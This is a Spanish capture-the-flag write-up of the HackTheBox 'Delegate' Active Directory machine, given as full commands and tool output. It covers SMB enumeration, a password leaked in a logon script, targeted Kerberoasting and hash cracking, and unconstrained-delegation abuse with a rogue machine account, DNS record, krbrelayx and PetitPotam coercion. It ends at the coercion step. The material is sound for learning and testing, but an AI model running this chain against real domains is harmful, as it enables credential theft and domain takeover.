Saltar a contenido

Maquina Delegate

  • OS: Windows
  • Plataforma: HackTheBox / Vulnlab
  • Nivel: Medium
  • Tags: #unconstrained-delegation #SeEnableDelegationPrivilege #smb #bloodhound #bloodyad #password-cracking #krbrelayx #impacket

Reconocimiento.

Comienzo con un ping para comprobar la conectividad.

┌─[us-dedivip-2][10.10.15.2][wonderiing@htb-gretkpeiib][~]
└──╼ []$ ping -c 1 10.129.234.69
PING 10.129.234.69 (10.129.234.69) 56(84) bytes of data.
64 bytes from 10.129.234.69: icmp_seq=1 ttl=127 time=9.35 ms

--- 10.129.234.69 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 9.354/9.354/9.354/0.000 ms

Ahora tiro un escaneo con nmap para ver que puertos tenemos abiertos.

┌─[us-dedivip-2][10.10.15.2][wonderiing@htb-gretkpeiib][~/Machines/heist]
└──╼ []$ nmap -p- -Pn -n -sS --min-rate 5000 -vvv 10.129.234.69 -oG nmap/allPorts

PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
3389/tcp  open  ms-wbt-server    syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
47001/tcp open  winrm            syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49665/tcp open  unknown          syn-ack ttl 127
49666/tcp open  unknown          syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
49670/tcp open  unknown          syn-ack ttl 127
50727/tcp open  unknown          syn-ack ttl 127
51100/tcp open  unknown          syn-ack ttl 127
51101/tcp open  unknown          syn-ack ttl 127
51106/tcp open  unknown          syn-ack ttl 127
57518/tcp open  unknown          syn-ack ttl 127
57870/tcp open  unknown          syn-ack ttl 127

Sobre los puertos abiertos tiro un segundo escaneo para detectar servicios, versiones y correr un conjunto de scripts de reconocimiento.

┌─[us-dedivip-2][10.10.15.2][wonderiing@htb-gretkpeiib][~/Machines/heist]
└──╼ []$ sudo nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,47001,49664,49665,49666,49667,49670,50727,51100,51101,51106,57518,57870 -sV -sC -Pn -n -sS -vvv 10.129.234.69

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-02-04 23:39:13Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: delegate.vl0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: delegate.vl0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
3389/tcp  open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: DELEGATE
|   NetBIOS_Domain_Name: DELEGATE
|   NetBIOS_Computer_Name: DC1
|   DNS_Domain_Name: delegate.vl
|   DNS_Computer_Name: DC1.delegate.vl
|   DNS_Tree_Name: delegate.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2026-02-04T23:40:09+00:00
| ssl-cert: Subject: commonName=DC1.delegate.vl
| Issuer: commonName=DC1.delegate.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-03T23:31:12
| Not valid after:  2026-08-05T23:31:12
| MD5:   61f0:afe0:b11d:b48a:1b4e:b1d4:453e:70b8
| SHA-1: 4c1d:f514:52b6:9bfe:d5ec:deec:3ff0:b42f:a24f:db07
| -----BEGIN CERTIFICATE-----
| MIIC4jCCAcqgAwIBAgIQF8V9UH2tiZRGkLqztUveRzANBgkqhkiG9w0BAQsFADAa
| MRgwFgYDVQQDEw9EQzEuZGVsZWdhdGUudmwwHhcNMjYwMjAzMjMzMTEyWhcNMjYw
| ODA1MjMzMTEyWjAaMRgwFgYDVQQDEw9EQzEuZGVsZWdhdGUudmwwggEiMA0GCSqG
| SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDB/8qahPSVbxwxSKQvDyg6ehFG73mKjhmj
| 5YVZYZ7aVcVgurOPKsanC18KEWHOS0rNYnsswjYDFKPAyhfuZQQAtPiQdD4QWIgN
| EzDQPpN8u6tnuZP77Ysgsp1aE7fopifyjVMT9JWwGbI4fvZm+6sNUZTgdAs79UnI
| 7urczUr8qrDwp4y4PpAVhtkPQfUQiUuApnCaI3R8zW/enNzZSgEpE8qQPXszWEL1
| gLTUcdFX88QkE1eR30NL5bBmT4YjYS/K+NqS3Cc0+4rpMhaNGzV6d43aOTVkHTYY
| 02PvGEOWjI0Bm4d9k5A4NQDaRKo2ZSFVKxRhsRgbDtz46xiQcRt1AgMBAAGjJDAi
| MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIEMDANBgkqhkiG9w0BAQsF
| AAOCAQEAC1W8GqTBeBcjVOckZN1dZUWCewvvYUDcii3no5pOHPyKz/eO0eAxj/lj
| iLYOczEQWG4aXktxor6mUpmKbOFoZhULqMPCuMZH7xT6LhOKFmphUjdmEsoDFoPr
| daqwSdB79meIS/+qr+65KatBrzF+IhXs4cDkREEqBDU6E+D1EHuKMOG8fWORtUY1
| IR45fsrKmskCzKjU4aP/Gm677iQf6lGFh7RRCLKDjjYho53WzqUAdcO4zu4niSVl
| K1qPEagDPv00DvqtuxQuqGNxBcEyHZBjde/UkvTIzkCP8qqIPYt30a3N1rngC/sa
| HudM1n27QuozwgmDSLIBQv+40jkgNQ==
|_-----END CERTIFICATE-----
|_ssl-date: 2026-02-04T23:40:49+00:00; 0s from scanner time.
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
47001/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
50727/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
51100/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
51101/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
51106/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
57518/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
57870/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-02-04T23:40:12
|_  start_date: N/A
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 30710/tcp): CLEAN (Timeout)
|   Check 2 (port 43192/tcp): CLEAN (Timeout)
|   Check 3 (port 57962/udp): CLEAN (Timeout)
|   Check 4 (port 45851/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

Por la informacion que tengo puedo intuir que estoy contra un DC.

  • Puerto 88 Kerberos
  • Puerto 135 RPC
  • Puerto 139, 445 SMB
  • Puerto 389, 636 LDAP
  • Puerto 5985 WinRm

Enumeración.

Puerto 445

Saque información general de la maquina:

┌─[us-dedivip-2][10.10.15.2][wonderiing@htb-gretkpeiib][~/Machines/heist]
└──╼ []$ nxc smb 10.129.234.69 
SMB         10.129.234.69   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False)
  • Dominio delegate.vl y nombre DC1.

Pude enumerar los recursos como el usuario guest, pero solo tengo permisos de lectura en recursos standar.

┌─[us-dedivip-2][10.10.15.2][wonderiing@htb-gretkpeiib][~/Machines/heist]
└──╼ []$ nxc smb delegate.vl -u 'guest' -p '' --shares
SMB         10.129.234.69   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False)
SMB         10.129.234.69   445    DC1              [+] delegate.vl\guest: 
SMB         10.129.234.69   445    DC1              [*] Enumerated shares
SMB         10.129.234.69   445    DC1              Share           Permissions     Remark
SMB         10.129.234.69   445    DC1              -----           -----------     ------
SMB         10.129.234.69   445    DC1              ADMIN$                          Remote Admin
SMB         10.129.234.69   445    DC1              C$                              Default share
SMB         10.129.234.69   445    DC1              IPC$            READ            Remote IPC
SMB         10.129.234.69   445    DC1              NETLOGON        READ            Logon server share 
SMB         10.129.234.69   445    DC1              SYSVOL          READ            Logon server share 

Tambien puedo sacar los usuarios vía rid bruteforce:

┌─[us-dedivip-2][10.10.15.2][wonderiing@htb-gretkpeiib][~/Machines/heist]
└──╼ []$ nxc smb delegate.vl -u 'guest' -p '' --rid-brute | grep "SidTypeUser"
SMB                      10.129.234.69   445    DC1              500: DELEGATE\Administrator (SidTypeUser)
SMB                      10.129.234.69   445    DC1              501: DELEGATE\Guest (SidTypeUser)
SMB                      10.129.234.69   445    DC1              502: DELEGATE\krbtgt (SidTypeUser)
SMB                      10.129.234.69   445    DC1              1000: DELEGATE\DC1$ (SidTypeUser)
SMB                      10.129.234.69   445    DC1              1104: DELEGATE\A.Briggs (SidTypeUser)
SMB                      10.129.234.69   445    DC1              1105: DELEGATE\b.Brown (SidTypeUser)
SMB                      10.129.234.69   445    DC1              1106: DELEGATE\R.Cooper (SidTypeUser)
SMB                      10.129.234.69   445    DC1              1107: DELEGATE\J.Roberts (SidTypeUser)
SMB                      10.129.234.69   445    DC1              1108: DELEGATE\N.Thompson (SidTypeUser)

Al conectarme al recurso SYSVOL me encontre con un directorio /scripts que contenia un archivo llamado usuarios.bat:

smb: \delegate.vl\scripts\> ls
  .                                   D        0  Sat Aug 26 07:45:24 2023
  ..                                  D        0  Sat Aug 26 04:45:45 2023
  users.bat                           A      159  Sat Aug 26 07:54:29 2023

        4652287 blocks of size 4096. 1119590 blocks available
smb: \delegate.vl\scripts\> get users.bat
getting file \delegate.vl\scripts\users.bat of size 159 as users.bat (1.5 KiloBytes/sec) (average 1.5 KiloBytes/sec)

En este archivo me encontré unas credenciales para el usuario A.briggs:

┌─[us-dedivip-2][10.10.15.2][wonderiing@htb-gretkpeiib][~/Machines/heist]
└──╼ []$ cat users.bat 
rem @echo off
net use * /delete /y
net use v: \\dc1\development 

if %USERNAME%==A.Briggs net use h: \\fileserver\backups /user:Administrator P4ssw0rd1#123┌

Acceso Inicial

Probe las credenciales para distintos servicios:

┌─[us-dedivip-2][10.10.15.2][wonderiing@htb-gretkpeiib][~/Machines/heist]
└──╼ []$ nxc smb delegate.vl -u a.briggs -p 'P4ssw0rd1#123'
SMB         10.129.234.69   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False)
SMB         10.129.234.69   445    DC1              [+] delegate.vl\a.briggs:P4ssw0rd1#123 
┌─[us-dedivip-2][10.10.15.2][wonderiing@htb-gretkpeiib][~/Machines/heist]
└──╼ []$ nxc winrm delegate.vl -u a.briggs -p 'P4ssw0rd1#123'
WINRM       10.129.234.69   5985   DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl)
WINRM       10.129.234.69   5985   DC1              [-] delegate.vl\a.briggs:P4ssw0rd1#123
  • La credencial es valida para SMB Y LDAP pero no para WinRm.

Ahora que tengo credenciales puedo hacer uso de bloodhound.

  • BloodHound es una herramienta de enumeración y análisis de Active Directory que usa grafos para identificar relaciones de confianza, permisos y rutas de escalada de privilegios entre usuarios, grupos y equipos dentro de un dominio.

El primer paso es utilizar un Ingestor que se va a encargar de recopilar toda la información del dominio. En este caso utilice bloodhound-python.

┌─[us-dedivip-2][10.10.15.2][wonderiing@htb-gretkpeiib][~/Machines/heist/content]
└──╼ []$ bloodhound-python -c All -u a.briggs -p 'P4ssw0rd1#123' -d delegate.vl -ns 10.129.234.69 --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: delegate.vl
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc1.delegate.vl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc1.delegate.vl
INFO: Found 9 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC1.delegate.vl
INFO: Done in 00M 02S
INFO: Compressing output into 20260204181044_bloodhound.zip

GenericWrite sobre n.thompson.

Al importar la información a BloodHound puedo ver lo siguiente:

  • a.briggs tiene el permiso GenericWrite sobre n.thompson

El permiso GenericWrite sobre un usuario en Active Directory permite modificar ciertos atributos sensibles del objeto, entre ellos servicePrincipalName.

Una forma de abusar de este permiso es mediante un ataque conocido como Targeted Kerberoasting, el cual consiste en asignar un SPN controlado a un usuario que no lo tenía previamente.

Una vez establecido el SPN, es posible solicitar un Ticket Granting Service (TGS) para dicho servicio, obteniendo un hash Kerberos crackeable offline.

Para este ataque utilice la herramienta targetedKerberoast

┌─[us-dedivip-2][10.10.15.2][wonderiing@htb]
└──╼ []$ python3 targetedKerberoast.py -v -d delegate.vl -u a.briggs -p 'P4ssw0rd1#123'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (N.Thompson)
[+] Printing hash for (N.Thompson)
$krb5tgs$23$*N.Thompson$DELEGATE.VL$delegate.vl/N.Thompson*$52924e692d75a401043f1f2858306dff$c2e2c4ea6614332f30cbf8bab620225fa4dc382fc58ee673369951da3e2da882588550eccf1570a28a946eaefbdd94021474071349f67610ae825c42c623b0c5ef8b2704d25ca81d02e501e93ad82c8d2da9e2205152eb67ed52c564ee0c4e882bbf6e3da5854c3764a26103dc13c843fd444fb761bb8167681c24fa60bf07a843c04620bbf75eb477852e18bc4e39897234b4f25e48b322a94f073a13f76dc21845f039aa27a7dd80d1782e73255e9176168d05bcb30bcf6f992690cb701a29e88e01ac2f524d5deeb776a229561045b5b34e70b54757a85c4bd0581c2677570881e9fd6ca0f73fb598fd9fc9660074468e6529a9c0307fb5be4e4e0adee094f5af0b40fb70828047a0f4c06810b9bc46f961742e7385092151bda6c565ee6446ad584c440da4bcd969c4ca3bcd82f05532fda353e3af3c02575cda97336f741fdf80eb99bd280d859b7478915cb4a649e80de820588bcd1c187bc1c324fd8c3849264bbfba9d545dfe4077e8e48376211c8bfce0d91a472969e0757c0b0c8489730c1cd02c820ddc3d71540131deb7aa5f55aad94f7eb9fab58dfc4a6ceaa8147fbf9210cce995402670a1be2578a950ff154319d8726fd7f1f13d3289e033a702b1a8735559568b39140eeb84eb30ea2038e7e06651371c0a3cedc7b69345c45b96ccef27769579fa85dc24b00ae3dae5a9058b63aabca0229abbf2370a0e32fea1c4089649b57dbca79e15386ac8e06f90848f2733c269e6682fc8a95e3ce3097e773efe1606dff9e1095ca4c464b58471efee412b5c744a472972d04f4ff7c5351bf7bafe9fbfe071e791b045616e4eb3c26d7d70081904b78e5f3e3da07d641fb2f561da8fb6ddebfe004d7dda2dc4012f86c590d372834fce529c86db8886b4e448c1fb53a8fb9a279cc2e68dd04b8e2c3ba4389bbcf5b7e6e682797d782a6e6ea813398c398c7968c32bfd3d07aaa51d04875c00a16c0a58acc415c7b1da2d51279f1e62fd32cd6dc10eb3c34d0db3c8ddc229fd1e1b9abcf3fdf39a39db070d1c81cdbad6969e5584fd532e3716375631517d92914883d88e2d5ecfe4080cc32b117308c4924b52f5ba9abe40daa276c7f00cb8c823e99d4b7f00bbc4dfdb0100cb5be74613f4945d15726a290edbca6fb18f0f09399452f7ab189e7599e6c1cb44f0b3b6ecfde8b2911b9bd8a982029591fd3fec42cf0c02cc4ce7e4a5f603a51894ef5338401580642fcfff18a2ee69169ef746e61d860c88162d1e5985b7b3bc92caef92562a29abea7dc30fab92c9b95a623ceb8aeea19343c7bfdc35c783aac409373fdc9d80b7a80978189c26806658a4f51a651b4f48ce88635b96965d4a7e004997a7a2a6bf785b773fd19b7e29028f6fdda1ee66bf119883381d9f1f425318051856b64a839011615c92393733c681a187e63c9e4d59f82a871b34
[VERBOSE] SPN removed successfully for (N.Thompson)

Este hash lo puedo crackear usando hashcat:

┌─[us-dedivip-2][10.10.15.2][wonderiing@htb-gretkpeiib][~/Machines/heist]
└──╼ []$ sudo hashcat hash.txt rockyou.txt 

$krb5tgs$23$*N.Thompson$DELEGATE.VL$delegate.vl/N.Thompson*$52924e692d75a401043f1f2858306dff$c2e2c4ea6614332f30cbf8bab620225fa4dc382fc58ee673369951da3e2da882588550eccf1570a28a946eaefbdd94021474071349f67610ae825c42c623b0c5ef8b2704d25ca81d02e501e93ad82c8d2da9e2205152eb67ed52c564ee0c4e882bbf6e3da5854c3764a26103dc13c843fd444fb761bb8167681c24fa60bf07a843c04620bbf75eb477852e18bc4e39897234b4f25e48b322a94f073a13f76dc21845f039aa27a7dd80d1782e73255e9176168d05bcb30bcf6f992690cb701a29e88e01ac2f524d5deeb776a229561045b5b34e70b54757a85c4bd0581c2677570881e9fd6ca0f73fb598fd9fc9660074468e6529a9c0307fb5be4e4e0adee094f5af0b40fb70828047a0f4c06810b9bc46f961742e7385092151bda6c565ee6446ad584c440da4bcd969c4ca3bcd82f05532fda353e3af3c02575cda97336f741fdf80eb99bd280d859b7478915cb4a649e80de820588bcd1c187bc1c324fd8c3849264bbfba9d545dfe4077e8e48376211c8bfce0d91a472969e0757c0b0c8489730c1cd02c820ddc3d71540131deb7aa5f55aad94f7eb9fab58dfc4a6ceaa8147fbf9210cce995402670a1be2578a950ff154319d8726fd7f1f13d3289e033a702b1a8735559568b39140eeb84eb30ea2038e7e06651371c0a3cedc7b69345c45b96ccef27769579fa85dc24b00ae3dae5a9058b63aabca0229abbf2370a0e32fea1c4089649b57dbca79e15386ac8e06f90848f2733c269e6682fc8a95e3ce3097e773efe1606dff9e1095ca4c464b58471efee412b5c744a472972d04f4ff7c5351bf7bafe9fbfe071e791b045616e4eb3c26d7d70081904b78e5f3e3da07d641fb2f561da8fb6ddebfe004d7dda2dc4012f86c590d372834fce529c86db8886b4e448c1fb53a8fb9a279cc2e68dd04b8e2c3ba4389bbcf5b7e6e682797d782a6e6ea813398c398c7968c32bfd3d07aaa51d04875c00a16c0a58acc415c7b1da2d51279f1e62fd32cd6dc10eb3c34d0db3c8ddc229fd1e1b9abcf3fdf39a39db070d1c81cdbad6969e5584fd532e3716375631517d92914883d88e2d5ecfe4080cc32b117308c4924b52f5ba9abe40daa276c7f00cb8c823e99d4b7f00bbc4dfdb0100cb5be74613f4945d15726a290edbca6fb18f0f09399452f7ab189e7599e6c1cb44f0b3b6ecfde8b2911b9bd8a982029591fd3fec42cf0c02cc4ce7e4a5f603a51894ef5338401580642fcfff18a2ee69169ef746e61d860c88162d1e5985b7b3bc92caef92562a29abea7dc30fab92c9b95a623ceb8aeea19343c7bfdc35c783aac409373fdc9d80b7a80978189c26806658a4f51a651b4f48ce88635b96965d4a7e004997a7a2a6bf785b773fd19b7e29028f6fdda1ee66bf119883381d9f1f425318051856b64a839011615c92393733c681a187e63c9e4d59f82a871b34:

:KALEB_2341
  • KALEB_2341 es la contraseña para el usuario n.thompson.

Este usuario forma parte del grupo Remote Managment Users por lo cual puedo conectarme vía WinRm:

┌─[us-dedivip-2][10.10.15.2][wonderiing@htb-gretkpeiib][~/Machines/heist]
└──╼ []$ evil-winrm -i 10.129.234.69 -u n.thompson -p KALEB_2341


*Evil-WinRM* PS C:\Users\N.Thompson> whoami
delegate\n.thompson
*Evil-WinRM* PS C:\Users\N.Thompson> cd Desktop
*Evil-WinRM* PS C:\Users\N.Thompson\Desktop> type user.txt
c5bb751d916bacdb11f917e48f1c2f00

Escalada de Privilegios.

En tema de privilegios tengo los siguientes:

evil-winrm-py PS C:\> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                                                    State
============================= ============================================================== =======
SeMachineAccountPrivilege     Add workstations to domain                                     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                                       Enabled
SeEnableDelegationPrivilege   Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                                 Enabled
  • Destaca SeEnableDelegationPrivilege

Y en tema de grupos tengo los siguientes:

evil-winrm-py PS C:\> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                            Attributes
=========================================== ================ ============================================== ==================================================
Everyone                                    Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
DELEGATE\delegation admins                  Group            S-1-5-21-1484473093-3449528695-2030935120-1121 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
  • Destaca delegation admins.

Abusando de Unconstrained Delegation

Info

En Kerberos, cuando un servicio tiene Unconstrained Delegation habilitado,

cualquier cliente que se autentique contra él enviará su TGT completo, no solo un Service Ticket.

Esto permite al servicio reutilizar ese TGT para autenticarse como el cliente contra cualquier otro servicio del dominio. El privilegio SeEnableDelegationPrivilege permite habilitar unconstrained delegation en cuentas de equipo o cuentas de servicio

Primero necesito saber si soy capaz de crear maquina, esto lo puedo ver usando netexec y el modulo maq:

┌──(wndr㉿wndr)-[~/Machines/hackthebox/delegate]
└─$ nxc ldap delegate.vl -u n.thompson -p KALEB_2341 -M maq
LDAP        10.129.234.69   389    DC1              [*] Windows Server 2022 Build 20348 (name:DC1) (domain:delegate.vl)
LDAP        10.129.234.69   389    DC1              [+] delegate.vl\n.thompson:KALEB_2341
MAQ         10.129.234.69   389    DC1              [*] Getting the MachineAccountQuota
MAQ         10.129.234.69   389    DC1              MachineAccountQuota: 10
  • MachineAccountQuota me indica que puedo agregar hasta 10 maquinas al dominio.

Voy a agregar una cuenta maquina para tener control a ella:

┌──(wndr㉿wndr)-[~/Tools/krbrelayx]
└─$ impacket-addcomputer delegate.vl/n.thompson:'KALEB_2341' -computer-name w0ndr -computer-pass "w0nder11ng" -dc-ip 10.129.234.69
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account w0ndr$ with password w0nder11ng.

Ahora tengo que agregar el atributo TRUSTED_FOR_DELEGATION para habilitar el Unconstrained Delegations en la cuenta maquina:

┌──(wndr㉿wndr)-[~/Tools/krbrelayx]
└─$ bloodyAD -d delegate.vl -u N.Thompson -p KALEB_2341 --host dc1.delegate.vl add uac 'w0ndr$' -f TRUSTED_FOR_DELEGATION
[-] ['TRUSTED_FOR_DELEGATION'] property flags added to w0ndr$'s userAccountControl

Ahora que la cuenta maquina ya tiene habilitado Unconstrained Delegations, necesitamos una forma de que el DC se autentique contra algun servicio controlador por la cuenta maquina para nosotros obtener el TGT de la cuenta maquina.

Para que el DC se autentique vía Kerberos contra nuestro servidor falso, deben cumplirse dos condiciones:

  1. Agregar un registro DNS que resuelva a nuestra ip
  2. La cuenta maquina debe de tener un SPN asociado.

Si cualquiera de los dos falta, Kerberos no emitirá tickets.

Primero agregaremos el registro DNS:

┌──(wndr㉿wndr)-[~/Tools/krbrelayx]
└─$ python3 dnstool.py -u 'delegate.vl\w0ndr$' -p 'w0nder11ng' -r 'w0ndr.delegate.vl' -d 10.10.16.57 --action add DC1.delegate.vl -dns-ip 10.129.234.69
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Después tenemos que asociar un SPN a la cuenta maquina:

┌──(wndr㉿wndr)-[~/Tools/krbrelayx]
└─$ python3 addspn.py -u delegate\\N.THOMPSON -p 'KALEB_2341' -s HOST/w0ndr.delegate.vl dc1.delegate.vl -t 'w0ndr$' -dc-ip 10.129.234.69 --additional
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

┌──(wndr㉿wndr)-[~/Tools/krbrelayx]
└─$ python3 addspn.py -u 'delegate\N.THOMPSON' -p 'KALEB_2341' -s 'host/w0ndr.delegate.vl' -t 'w0ndr$' -dc-ip 10.129.234.69 dc1.delegate.vl
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

Podemos confirmar el registro DNS se añadió de manera correcta usando nslookup.

┌──(wndr㉿wndr)-[~/Tools/krbrelayx]
└─$ nslookup w0ndr.delegate.vl 10.129.234.69
Server:         10.129.234.69
Address:        10.129.234.69#53

Name:   w0ndr.delegate.vl
Address: 10.10.16.57

Ahora tenemos que encontrar una manera de forzar que la maquina se autentique a nuestro servidor.

Primero necesitamos una forma de capturar la autenticación en mi caso voy a utilizar krbrelayx.

  • krbrelayx necesita del hash NTLM de contraseña
┌──(wndr㉿wndr)-[~/Tools/krbrelayx]
└─$ iconv -f ASCII -t UTF-16LE <(printf 'w0nder11ng') | openssl dgst -md4
MD4(stdin)= 56ade972b15b9bc68ada27ef0729c37c

Ahora podemos levantar krbrelayx para que se haga pasar como el servicio asociado de la cuenta maquina w0ndr$ y capturar la autenticación:

┌──(wndr㉿wndr)-[~/Tools/krbrelayx]
└─$ python3 krbrelayx.py -hashes :56ade972b15b9bc68ada27ef0729c37c --interface-ip 10.10.16.57
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client SMB loaded..
[*] Running in export mode (all tickets will be saved to disk). Works with unconstrained delegation attack only.
[*] Running in unconstrained delegation abuse mode using the specified credentials.
[*] Setting up SMB Server

[*] Servers started, waiting for connections
[*] Setting up DNS Server
[*] Setting up HTTP Server on port 80

El segundo paso consiste en encontrar una forma de forzar la autenticación, esto lo podemos ver con netexec y el modulo coerce_plus.

┌──(wndr㉿wndr)-[~/Machines/hackthebox/delegate]
└─$ netexec smb dc1.delegate.vl -u 'w0ndr$' -p 'w0nder11ng' -M coerce_plus
SMB         10.129.234.69   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False)
SMB         10.129.234.69   445    DC1              [+] delegate.vl\w0ndr$:w0nder11ng
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, DFSCoerce
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, PetitPotam
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, PrinterBug
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, PrinterBug
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, MSEven
  • Hay distintos metodos pero yo voy a usar PetitPotam.

Info

PetitPotam es una técnica de "coerción de autenticación" que fuerza a una máquina Windows a autenticarse contra un servidor que TÚ eliges. Petit Potam se aprovecha de la función EfsRpcAddUsersToFile que añade usuarios a archivos cifrados. Esta función es parte de Encrypting File System (EFS), una característica de windows que permite cifrar archivos y carpetas.

El problema es que cualquier usuario autenticado puede llamar a EfsRpcAddUsersToFile y también puede especificar una ruta UNC como archivo objetivo a su vez esa ruta UNC puede apuntar a un archivo en un servidor que tu controlas.

Entonces lo que sucede es algo asi: Usuario llama a EfsRpcAddUsersToFile y le dice al DC Agrega un usuario a este archivo \\tuservidor\share\archivo.txt -> El DC al momento de agregar el usuario a dicho archivo va a tratar de autenticarse contra nuestro servidor lo cual nos permite capturar esa autenticación.

Con el propio netexexec puedo forzar la autenticación utilizando PetitPotam.

┌──(wndr㉿wndr)-[~/Machines/hackthebox/delegate]
└─$ netexec smb dc1.delegate.vl -u 'w0ndr$' -p 'w0nder11ng' -M coerce_plus -o LISTENER=w0ndr.delegate.vl METHOD=PetitPotam
